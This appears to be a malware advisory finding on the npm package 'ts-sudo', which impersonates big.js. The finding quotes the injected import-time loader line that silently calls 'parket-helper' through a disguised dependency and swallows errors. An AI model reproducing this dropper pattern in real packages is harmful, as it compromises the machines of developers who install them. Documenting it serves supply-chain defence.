Inside the otherwise-legitimate big.js source, a loader has been injected at `big.js:606`: `try { const doc = require(\"parket-helper\"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. The same injection is present in `big.mjs`. This block fires automatically on `require('ts-sudo')` / `import 'ts-sudo'`, silently invoking `parket-helper.from_str()` — a package the consumer never chose to depend on. `parket-helper` is pulled into the install tree via the declared dependency `\"server-parket\": \"^3.8.1\"` in `package.json:58`. The wrapper is benign-looking arithmetic code; the harmful behavior is delegated to the opaque dependency, and errors are swallowed to hide failures from the caller. The combination of (a) name/contents impersonation of a well-known library, (b) injected import-time call into an unrelated helper, and (c) reliance on a suspiciously-named transitive to deliver the payload is a textbook dropper pattern.\n\n## Source: ghsa-malware (8235998221beb4f659577a4da5811961a4a2bf5524d0e7ec8912375a66ba78f4)\nAny computer that has this package installed or running should be considered fully compromised.
